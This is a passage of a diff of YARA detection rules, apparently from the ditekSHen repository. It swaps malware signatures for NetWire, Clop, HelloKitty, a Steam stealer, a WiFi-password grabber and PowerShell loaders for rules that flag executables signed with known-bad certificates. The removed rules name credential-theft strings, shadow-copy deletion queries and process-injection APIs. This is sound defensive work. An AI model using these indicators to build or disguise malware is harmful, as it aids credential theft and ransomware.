-		$s1 = "netsh wlan export profile" ascii
-		$s2 = "Send-MailMessage" ascii
-		$u1 = "https://github.com/axel05869/Wifi-Grab" ascii
-		$u2 = "/exploitechx/wifi-password-extractor" ascii
+		tags = "FILE"
+		thumbprint = "c5d34eb26bbb3fcb274f9e9cb37f5ae6612747a1"
+		importance = 20
 
 	condition:
-		all of ($s*) or all of ($u*)
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Bisoyetutu Ltd Ltd" and pe.signatures[i].serial=="26:2c:a7:ae:19:d6:88:13:8e:75:93:28:32:b1:8f:9d")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Steamhook : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_6B0008Bbd5Eb53F5D9E616C3Ed00000008Bbd5 : FILE
 {
 	meta:
-		description = "Detects potential Steam stealer"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "7533fb83-d721-54e6-8ae1-1c840dd5a13d"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "51e670b5-a679-52ef-9c07-5a2bd21f8a20"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4767-L4781"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5708-L5719"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "da743ca99fd19828e3938875acaf6544f17d884587a59623c8361f5905af4a57"
+		logic_hash = "185334d7f484585cd88a1d89516f805d0248234a61153f8a38cc78b52d4bd764"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "Mozilla/4.0 (compatible; )" fullword ascii
-		$s2 = "/steam/upload.php" ascii
-		$s3 = ".*?(ssfn\\d+)" fullword ascii
-		$s4 = "add cookie failed..." fullword ascii
-		$s5 = "Content-Type: multipart/form-data; boundary=--MULTI-PARTS-FORM-DATA-BOUNDARY" fullword ascii
-		$pdb1 = "\\SteamHook\\Install\\" ascii
-		$pdb2 = "\\SteamHook\\dll\\" ascii
+		thumbprint = "a24cff3a026dc6b30fb62fb01dbda704eb07164f"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($s*) or all of ($pdb*) or (1 of ($pdb*) and 3 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "microsoft.com" and pe.signatures[i].serial=="6b:00:08:bb:d5:eb:53:f5:d9:e6:16:c3:ed:00:00:00:08:bb:d5")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Netwire : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_6Abc3555Becca0Bc4B6987Ccc2Ea42B5 : FILE
 {
 	meta:
-		description = "Detects NetWire RAT"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "c215f449-c725-51da-8f5b-2619bc282b22"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "b3ced8b8-ec42-56e4-8a3e-9cb7f6845b6f"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4783-L4805"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5721-L5732"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "bae4f0cd7a431336bd784ba95f6ba3396e6f0f12c081e62482ad37ff859c1f1c"
+		logic_hash = "76d4895f805a6638549c2d3b01a53873156e142d741b1fc2ccc0b18971b275a7"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "SOFTWARE\\NetWire" fullword ascii
-		$x2 = { 4e 65 74 57 69 72 65 00 53 4f 46 54 57 41 52 45 5c 00 }
-		$s1 = "User-Agent: Mozilla/4.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" fullword ascii
-		$s2 = "filenames.txt" fullword ascii
-		$s3 = "GET %s HTTP/1.1" fullword ascii
-		$s4 = "[%.2d/%.2d/%d %.2d:%.2d:%.2d]" fullword ascii
-		$s5 = "Host.exe" fullword ascii
-		$s6 = "-m \"%s\"" fullword ascii
-		$g1 = "HostId" fullword ascii
-		$g2 = "History" fullword ascii
-		$g3 = "encrypted_key" fullword ascii
-		$g4 = "Install Date" fullword ascii
-		$g5 = "hostname" fullword ascii
-		$g6 = "encryptedUsername" fullword ascii
-		$g7 = "encryptedPassword" fullword ascii
+		thumbprint = "a36c75dd80d34020df5632c2939e82d39d2dca64"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($s*) or all of ($x*) or (1 of ($x*) and 2 of ($s*)) or ( all of ($g*) and (2 of ($s*) or 1 of ($x*))))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Jwkwjaagoh" and pe.signatures[i].serial=="6a:bc:35:55:be:cc:a0:bc:4b:69:87:cc:c2:ea:42:b5")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Breakstaf : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_3C5Fc5D02273F297404F7B9306E447Bb : FILE
 {
 	meta:
-		description = "Detects BreakStaf ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "3c8ca485-2cb4-56fd-a1f5-16b43515cec9"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "2dd0805d-f43e-5aec-a0d9-98fc9fa6c088"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4807-L4827"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5734-L5745"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "56078b797c64ce77398f9b92e5677f7159d8357eafb03cf62bb30f06d4f3b2e3"
+		logic_hash = "e73fd0a38c76783e3110abe82411cc3d22fbbc95684667dc754618f590f29970"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "C:\\Program files" wide
-		$s2 = "C:\\Program files (x86)" wide
-		$s3 = "C:\\System Volume Information" wide
-		$s4 = "C:\\$Recycle.Bin" wide
-		$s5 = "C:\\Windows" wide
-		$s6 = ".?AVRandomNumberGenerator@Crypto" ascii
-		$s7 = ".?AV?$SymmetricCipherFinal@" ascii
-		$s8 = ".breakstaf" fullword wide nocase
-		$s9 = "readme.txt" fullword wide nocase
-		$s10 = ".VHD" fullword wide nocase
-		$s11 = ".vhdx" fullword wide nocase
-		$s12 = ".BAK" fullword wide nocase
-		$s13 = ".BAC" fullword wide nocase
+		thumbprint = "3fa4a6efd5e443627e9e32e6effe04c991f4fe8f"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 12 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Wirpool Soft" and pe.signatures[i].serial=="3c:5f:c5:d0:22:73:f2:97:40:4f:7b:93:06:e4:47:bb")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Kitty : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_7D36Cbb64Bc9Add17Ba71737D3Ecceca : FILE
 {
 	meta:
-		description = "Detects HelloKitty ransomware, triggers on FIVEHANDS"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "4147294a-7eff-595a-ad4f-8a84ffff960f"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "23786dd4-2ad2-5d86-a0d2-46bc5f1825eb"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4829-L4847"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5763-L5774"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "3a36755c81ec70c127bb73448fc29325444b85b5f0704327fc81975c2af2e99e"
+		logic_hash = "070600994d7e137a769432e7c5995dac90f01cbce2c50de4c5baecea5d556baf"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "Kitty" wide
-		$s2 = "-path" fullword wide
-		$s3 = "select * from Win32_ShadowCopy" fullword wide
-		$s4 = "Win32_ShadowCopy.ID='%s'" fullword wide
-		$s5 = "programdata" fullword wide
-		$s6 = "$recycle.bin" fullword wide
-		$s7 = ".crypt" fullword wide
-		$s8 = "%s/secret/%S" wide
-		$s9 = "decrypts3nln3tic.onion" wide
-		$n1 = "read_me_lkd.txt" wide
-		$n2 = "DECRYPT_NOTE.txt" wide
+		thumbprint = "a7287460dcf02e38484937b121ce8548191d4e64"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (5 of ($s*) or 1 of ($n*) and 4 of ($s*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "LTD SERVICES LIMITED" and pe.signatures[i].serial=="7d:36:cb:b6:4b:c9:ad:d1:7b:a7:17:37:d3:ec:ce:ca")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Dlagent07 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00Df7139E106Dbb68Dfe4De97D862Af708 : FILE
 {
 	meta:
-		description = "Detects delf downloader agent"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "a45afe84-15ae-528a-ad7e-ab9f03045789"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "8da7c163-02a7-571e-a995-c1d500d90b5b"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4849-L4867"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5776-L5787"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "1e0001d18524d0d34ad876e67e2c4dc0495ee18a73c34f53f97367876e27b406"
+		logic_hash = "503ff5f570191ac61a20c2a6ffa5117d5c3ed632c04c4a02c710644c18a494d0"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "C:\\Users\\Public\\Libraries\\temp" fullword ascii
-		$s2 = "SOFTWARE\\Borland\\Delphi" ascii
-		$s3 = "Mozilla/5.0(compatible; WinInet)" fullword ascii
-		$o1 = { f3 a5 e9 6b ff ff ff 5a 5d 5f 5e 5b c3 a3 00 40 }
-		$o2 = { e8 83 d5 ff ff 8b 15 34 40 41 00 89 10 89 58 04 }
-		$o3 = { c3 8b c0 53 51 e8 f1 ff ff ff 8b d8 85 db 74 3e }
-		$o4 = { e8 5c e2 ff ff 8b c3 e8 b9 ff ff ff 89 04 24 83 }
-		$o5 = { 85 c0 74 1f e8 62 ff ff ff a3 98 40 41 00 e8 98 }
-		$o6 = { 85 c0 74 19 e8 be ff ff ff 83 3d 98 40 41 00 ff }
-		$x1 = "22:40:08        \"> <rdf:RDF xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\"> <rdf:Description rdf:about=\"\"" ascii
-		$x2 = "uuid:A9BD8E384B2FDE118D26E6EE744C235C\" stRef:documentID=\"uuid:A8BD8E384B2FDE118D26E6EE744C235C\"/>" ascii
+		thumbprint = "4ac627227a25f0914f3a73ff85d90b45da589329"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ((2 of ($s*) and 5 of ($o*)) or ( all of ($s*) and 2 of ($o*)) or ( all of ($x*) and 2 of them ))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "zPfPJHDCzusZRYQYJZGZoFfZmvYtSlFXDPQKtoQzc" and pe.signatures[i].serial=="00:df:71:39:e1:06:db:b6:8d:fe:4d:e9:7d:86:2a:f7:08")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Clop : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00D4F9Fc08895654F8Bde8D1Cc26Eff015 : FILE
 {
 	meta:
-		description = "Detects Clop ransomware variants"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "d3c9e950-8b03-5d19-8448-9cf208813df2"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "d32f82a7-36dd-555f-87cf-28e520a3916f"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4869-L4889"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5789-L5800"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a1a21100c468c4db147f97b0724b7a3aefbb92b157071bfe6f61d02768573b44"
+		logic_hash = "dfc90ce9c1d8a0fad9c50f61c90c4f7b00b6890ee45d218417f4a7196c3d1c18"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "Cllp^_-" ascii
-		$s2 = "temp.dat" fullword wide
-		$s3 = "README_README.txt" wide
-		$s4 = "BEGIN PUBLIC KEY" ascii
-		$s5 = "runrun" wide
-		$s6 = "wevtutil.exe" ascii
-		$s7 = "%s%s.Cllp" fullword wide
-		$s8 = "WinCheckDRVs" fullword wide
-		$o1 = { 6a ff 56 89 9d 28 dd ff ff ff d0 a1 64 32 41 00 }
-		$o2 = { 56 89 9d 28 dd ff ff ff 15 78 32 41 00 eb 07 43 }
-		$o3 = { 68 ?? 34 41 00 8d 85 58 dd ff ff 50 ff d7 85 c0 }
-		$o4 = { 68 d0 34 41 00 50 ff d6 8b bd 28 d5 ff ff 83 c4 }
-		$o5 = { a1 64 32 41 00 43 56 89 9d 08 d5 ff ff ff d0 8b }
+		thumbprint = "f24af3a784c2316b42854c5853b53d9e556295f7"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($s*) or (1 of ($x*) and (3 of ($s*) or 4 of ($o*))) or ( all of ($o*) and 2 of ($s*)) or (4 of ($s*) and 4 of ($o*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "kfbdAfVnDMDc" and pe.signatures[i].serial=="00:d4:f9:fc:08:89:56:54:f8:bd:e8:d1:cc:26:ef:f0:15")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Maktub : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0393Be7Fd785Ba0E3223A73B15Ee6736 : FILE
 {
 	meta:
-		description = "Detects Maktub ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "be47d858-8497-593f-865b-c3d3a5db6c2e"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "852c3c5c-e20c-5e45-acee-7f5a5a35fa24"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4891-L4905"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5802-L5813"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "5c11d04fc3088eb8a0132b9ed83748ddb7e1bbe9d03b9e884d4003181cbb6d69"
+		logic_hash = "6805b2d04f8b89b9d4db8d47d74e83b6cdd7e778b038883fc8d3ef2e1b157070"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "Content-Disposition: attachment; filename=" ascii
-		$s2 = "Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0" fullword ascii
-		$s3 = "/tor/status-vote/current/consensus" ascii
-		$s4 = "/tor/server/fp/" ascii
-		$s5 = "/tor/rendezvous2/" ascii
-		$s6 = "404 Not found" fullword ascii
-		$s7 = /_request@\d+/ fullword ascii
+		thumbprint = "f50fc532839ca7e63315e468c493512db8b7ee83"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 5 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "FZaKundypKakCIvoMBPpTnwIDUJM" and pe.signatures[i].serial=="03:93:be:7f:d7:85:ba:0e:32:23:a7:3b:15:ee:67:36")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Pwshloader_Runpe01
+rule DITEKSHEN_INDICATOR_KB_CERT_008B7369B2F0C313634A1C1Dfc4A828A54 : FILE
 {
 	meta:
-		description = "Detects PowerShell PE loader / executer. Observed Gorgon TTPs"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "fd44f48c-7a24-512b-8375-c9f978a8b5bd"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "e4da4da0-68f1-548b-b307-e11ad6def316"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4907-L4920"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5815-L5826"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "7dd377f6a1cc48ef8ab9d53989755fb967c89d3798b721781bc09043ba3d86f4"
+		logic_hash = "857eaa56ff5106e3808750b8833fd33a328b53a04f6fd2939aca30dbc6048329"
 		score = 75
 		quality = 75
-		tags = ""
-
-	strings:
-		$rp1 = "GetType('RunPe.RunPe'" ascii
-		$rp2 = "GetType(\"RunPe.RunPe\"" ascii
-		$rm1 = "GetMethod('Run'" ascii
-		$rm2 = "GetMethod(\"Run\"" ascii
-		$s1 = ".Invoke(" ascii
-		$s2 = "[Reflection.Assembly]::Load(" ascii
+		tags = "FILE"
+		thumbprint = "1cad5864bcc0f6aa20b99a081501a104b633dddd"
+		importance = 20
 
 	condition:
-		all of ($s*) and 1 of ($rp*) and 1 of ($rm*)
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "LFpKdFUgpGKj" and pe.signatures[i].serial=="00:8b:73:69:b2:f0:c3:13:63:4a:1c:1d:fc:4a:82:8a:54")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Pwshloader_Runpe02
+rule DITEKSHEN_INDICATOR_KB_CERT_59A57E8Ba3Dcf2B6F59981Fda14B03 : FILE
 {
 	meta:
-		description = "Detects PowerShell PE loader / executer. Observed Gorgon TTPs"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "08261054-bebc-58fe-949a-27f6e817003a"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "07e68e53-ffb8-5f12-ad0e-cf64a3c9cb72"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4922-L4934"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5828-L5841"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "d7677689938d3e3eb6b59b99b7e347c60214f6edf8e5f83bf85da5a5f1ad33bb"
+		logic_hash = "1eeeef14502daafb303d1c09d8e55fb4df57a6bf250d1adc7e53862f2f5d5824"
 		score = 75
 		quality = 75
-		tags = ""
-
-	strings:
-		$s1 = "'.Replace('" ascii nocase
-		$s2 = "'aspnet_compiler.exe'" ascii
-		$s3 = "[Byte[]]$" ascii
-		$pe1 = "(77,90," ascii
-		$pe2 = "='4D5A" ascii
+		tags = "FILE"
+		thumbprint = "e201821e152d7ae86078c4e6a3a3a1e1c5e29f9a"
+		hash1 = "d9ace2d97010316fdb0f416920232e8d4c59b01614633c4d5def79abb15d0175"
+		hash2 = "80e363dee08f4f77e5a061c10f18503c7ce802818cf6bb1c8a16da0ba3877b01"
+		importance = 20
 
 	condition:
-		all of ($s*) and (#pe1>1 or #pe2>1) and #s1>4
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Medium LLC" and pe.signatures[i].serial=="59:a5:7e:8b:a3:dc:f2:b6:f5:99:81:fd:a1:4b:03")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Peloader_Runpe : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00C79F817F082986Bef3209F6723C8Da97 : FILE
 {
 	meta:
-		description = "Detects PE loader / injector. Observed Gorgon TTPs"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "262dedee-05d2-5783-b0ff-24470d310ab8"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "2e831cd7-6992-5b5f-ad84-52590f3cc65a"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4936-L4950"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5843-L5856"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "0369c3e2f83a0265c81e5dcd10b4d88753bd6ce3da4bb893a364486712a2b80d"
+		logic_hash = "b6dd9cb0d2383bce3ab13b6a660b3f5ba554a2bf1fce4aabb6dd36187cc57f45"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "commandLine'" fullword ascii
-		$s2 = "RunPe.dll" fullword ascii
-		$s3 = "HandleRun" fullword ascii
-		$s4 = "inheritHandles" fullword ascii
-		$s5 = "BlockCopy" fullword ascii
-		$s6 = "WriteProcessMemory" fullword ascii
-		$s7 = "startupInfo" fullword ascii
+		thumbprint = "e2bf86dc46fca1c35f98ff84d8976be8aa0668bc"
+		hash1 = "dd49651e325b04ea14733bcd676c0a1cb58ab36bf79162868ade02b396ec3ab0"
+		hash2 = "823cb4b92a1266c880d917c7d6f71da37d524166287b30c0c89b6bb03c2e4b64"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 6 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Al-Faris group d.o.o." and pe.signatures[i].serial=="00:c7:9f:81:7f:08:29:86:be:f3:20:9f:67:23:c8:da:97")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Peloader_INF : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_Beb721Fcb3274C984479D6554Efe8F49 : FILE
 {
 	meta:
-		description = "Detects PE loader / injector. Potentical HCrypt. Observed Gorgon TTPs"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "09823302-34e0-5283-9740-1475ab8077be"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "311b4a7a-3185-5c61-961e-bd7d9bca28dd"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4952-L4963"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5858-L5869"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "758f7b465b8f9dab5c1194bee266392efe143ac219a5307e6886845b3c862700"
+		logic_hash = "fdb28b4f8cf79d067ee8dcfc3109ceae38f7952c6fb34e61f489924d97d67151"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "Managament.inf" fullword ascii
-		$x2 = "rOnAlDo" fullword ascii
-		$x3 = "untimeResourceSet" fullword ascii
-		$x4 = "3System.Resources.Tools.StronglyTypedResourceBuilder" fullword ascii
+		thumbprint = "2d1fd0cce4aa7e7dc6dd114a301825a7b8e887cf"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "CONFUSER" and pe.signatures[i].serial=="be:b7:21:fc:b3:27:4c:98:44:79:d6:55:4e:fe:8f:49")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Dlagent08 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00C4188D6B70B4Bd3B977B19Abd04C1157 : FILE
 {
 	meta:
-		description = "Detects known downloader agent downloading encoded binaries in patches"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "e3450f93-7c57-5386-a901-bc5e710657a4"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "f5b2b4cf-39a5-59c6-860e-b738a2acfd89"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4965-L4975"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5871-L5882"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "0238c13b00e5778ef216b4e8576c321803da6e269c96c3051b9cc45a3ac6e567"
+		logic_hash = "6ed619e18d749c2524ad3c1ddc3268f9ddf77feb3a3f2c5954ae4e7124d63c75"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		snort2_sid = "920122"
-		snort3_sid = "920119"
-
-	strings:
-		$pat = /\/base\/[A-F0-9]{32}\.html/ ascii wide
+		thumbprint = "90fefd18c677d6e5ac6db969a7247e3eb0b018df"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and $pat and #pat>1
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "PRESTO Co., s.r.o." and pe.signatures[i].serial=="00:c4:18:8d:6b:70:b4:bd:3b:97:7b:19:ab:d0:4c:11:57")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Doejocrypt : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00Ad255D4Ebefa751F3782587396C08629 : FILE
 {
 	meta:
-		description = "Detects DoejoCrypt / DearCry ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "2c90f8e7-ced4-56da-ab8d-61b5ba63dacd"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "58e77872-5bd0-53b1-9595-c961c45e138c"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L4977-L4993"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L5884-L5895"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f8a3897de9522340799a59e3e755c323b0defaab73a9030b6b69a1a82c05dcd0"
+		logic_hash = "cc51de3852257b12a780f80755c7ca21f5d82542649c65072fd9427271da12ef"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "DEARCRY!" fullword ascii
-		$s2 = ".CRYPT" fullword ascii
-		$s3 = "\\EncryptFile -svcV2\\" ascii
-		$s4 = "please send me the following hash!" ascii
-		$s5 = "dear!!!" fullword ascii
-		$s6 = "/readme.txt" fullword ascii
